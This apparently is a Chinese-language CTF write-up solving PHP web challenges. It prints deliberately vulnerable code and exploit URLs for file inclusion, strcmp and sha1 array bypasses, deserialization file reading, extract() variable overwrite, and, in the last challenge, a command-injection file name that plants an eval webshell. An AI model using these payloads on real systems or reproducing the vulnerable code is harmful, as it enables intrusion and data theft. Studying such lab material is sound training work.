Web1
<?php
header("Content-Type: text/html;charset=utf-8");
$page=$_GET['page'];
if (isset($_GET['page'])){
include("$page"); //include 语句包含并运行指定文件。
}
else{
echo 'page!!!!';
}
/*flag在Y29uZmln.php中,请使用本地文件包含方式获得flag*/
?>
根据提示需要通过文件包含方式获取flag,这里是通过$page进行参数传递,但是不能直接读取文件,需要通过php://filter进行文件读取,并且以字节方式输出
# convert.base64-encode对读取文件进行base64编码(convert.base64-decode解码)
/index.php?page=php://filter/read=convert.base64-encode/resource=Y29uZmln.php
php://filter 参数**
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流 |
---|---|
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 |
的筛选器列表会视情况应用于读或写链 |
Web2**
<?php
$password=$_GET['password'];
var_dump($password);
var_dump(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password));
if(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password)){ //二进制安全字符串比较
echo 'password is false ! ! ! ! !';
}else{
echo 'flag is here!!<br>';
echo 'flag{vUlnCtF_This_iS_a_FlAg}';
}
?>
strcmp(str1,str2) 函数比较两个字符串,是二进制安全的,且对大小写敏感
str1等于str2,返回值为0
str1大于str2,返回值大于0
str1小于str2,返回值小于0
但如果传入的数组和字符串比较,那么返回NULL,判断使用的是==,NULL==0返回True
注: == 比较两个值,=== 比较两个值与类型,先判断数据类型,再比较值
strcmp与PHP版本有关
PHP5.2.1版本中使用strcmp比较数组和字符串时候会返回 int(1)
PHP5.3版本中使用strcmp比较数组和字符串时候会返回 null
/index.php?password[]=111
而在PHP 5.2.17版本是不行的
Web3**
<?php
$flag = 'flag{VulN_This_is_A_flag}';
if (isset($_GET['username']) and isset($_GET['password']))
{
if ($_GET['username'] == $_GET['password']){
echo '<p>You password can not be your username !</p>';
}
else if (sha1($_GET['username']) === sha1($_GET['password'])){ //计算字符串的 sha1 散列值
die('Flag:'.$flag);
}
else{
echo '<p>Invalid password</p>';
}
}
else{
echo '<p>Login first</p>';
}
?>
这里是嵌套的if语句,第一次if判断,传入username与password值不能相等,第二次判断,传入username与password的值与数据类型都要相等,才能获取flag
注: == 比较两个值,=== 比较两个值与类型,先判断数据类型,再比较值
这里传入两个数组,由于值不同绕过第一次if判断,又由于sha1处理数组时返回null,null===null
index.php?username[]=1&password[]=2
Web4
<?php
header("Content-Type: text/html;charset=utf-8");
$a = 'test';
$b = 'test2';
$a = $_GET['a'];
$b = $_GET['b'];
$c = is_numeric($a) and is_numeric($b);
if($c){
print "flag{Flag_iS_VulnCtf}";
}
else{
print "is_numeric(a) and is_numeric(b) error !";
}
?>
is_numeric(str1)函数判断字符串中是否只包含数字,如果是返回True,否返回false
这里涉及PHP运算优先级问题,赋值运算优先级高于and/or运算,低于&&/ ||运算
传入的a值为数字,返回True返回给$c,if判断只要满足$c为True即可
Web6
<?php
$a = @$_GET['a'];
if ($a == 0) {
echo "ZmxhZ3tUaGlTX2F";
}
if ($a) {
echo "fVnVsTkN0Rl9mbGFnfQ==";
}
?>
这里考察PHP处理字符串弱类型转换,这里$a没有定义数据类型,在==比较中,会把传入非数字开头的字符转换为0,所有导致绕过,再base64解码即可
Web7
index.php
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
/*
isset函数是检测变量是否设置。
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
file_get_contents — 将整个文件读入一个字符串
preg_match — 执行匹配正则表达式
*/
if(isset($user) && (file_get_contents($user,'r') === "the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1aG/",$file)){
exit();
}else{
include($file);
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>
class.php
<?php
class Read{ //f1aG.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
f1aG.php
<?php
//flag_Xd{hSh_ctf:e@syt0g3t}
?>
这里需要先绕过if(isset($user) && (file_get_contents($user,’r’) === “the user is admin”)),可结合伪协议php://input
由于if(preg_match(“/f1aG/“,$file))限制,不能直接读取f1aG.php文件,$pass参数进过反序列化,所以可以想到通过反序列来读取文件
POST /index.php?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1aG.php";}
the user is admin
**serialize()函数介绍
<?php
$array = array();
$array['one'] = 'a';
$array['two']=222;
echo serialize($array);
?>
输出: a:2:{s:3:"one";s:1:"a";s:3:"two";i:222;}
a:2:{} a代表对象array类型, 2代表是对象长度,这里数组长度为2
s:3:"one" s代表对象string类型(i代表int类型), 3代表是对象长度, one代表此对象值
unserialize()反序列化,还原对象
Web8**
<?php
$filename = 'flag08395e0fda9cae71.txt';
$flag = 'flag08395e0fda9cae71.txt';
extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
if (isset($attempt)){
$combination = trim(file_get_contents($filename)); //trim() 函数移除字符串两侧的空白字符或其他预定义字符。/
if ($attempt===$combination){
echo "<p>How did you know the secret combinnation was" . "$combination !?</p>";
$next = file_get_contents($flag);
echo $next;
}else {
echo "Incorrect! The secret combiantion is not $attempt";
}
}
?>
file_get_contents()函数将整个文件读入一个字符串,如果读取失败则返回false
1、这里将get方法传输进来的值通过extrace()函数处理
2、通过两个if判断$attempt是否存在,并且$attempt与$combination是否相等
这里利用extract()变量覆盖方式获取flag
/index.php?attempt=&filename=
Web9
<?php
header("Content-type: text/html; charset=utf-8");
//上传解压路径
$uploadpath = "/tmp"; //这里根据系统自行修改
//判断文件类型
if(isset($_FILES["file"]["name"])) {
$fType = strtolower(substr($_FILES["file"]["name"], strlen($_FILES["file"]["name"]) - 3));
$textType = $fType;
if ($textType != "txt") {
echo '不正确的文件类型,只支持txt格式文件';
} else {
echo '上传成功' . $textType . '文件。';
// 如果是zip格式的,放到$uploadpath里面
if ($textType == "txt") {
move_uploaded_file($_FILES["file"]["tmp_name"], $uploadpath . $_FILES["file"]["name"]);
//move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
$content = exec('tail -n 1 '. $uploadpath . $_FILES["file"]["name"]);
echo '文本最后一行内容为:'.$content;
}
}
}
?>
Linux下通过截断传入写马,但自己是Win10环境,%00并没成功
1;echo '<?php @eval($_POST[c]); ?>' >1.php;1.txt # linux环境
**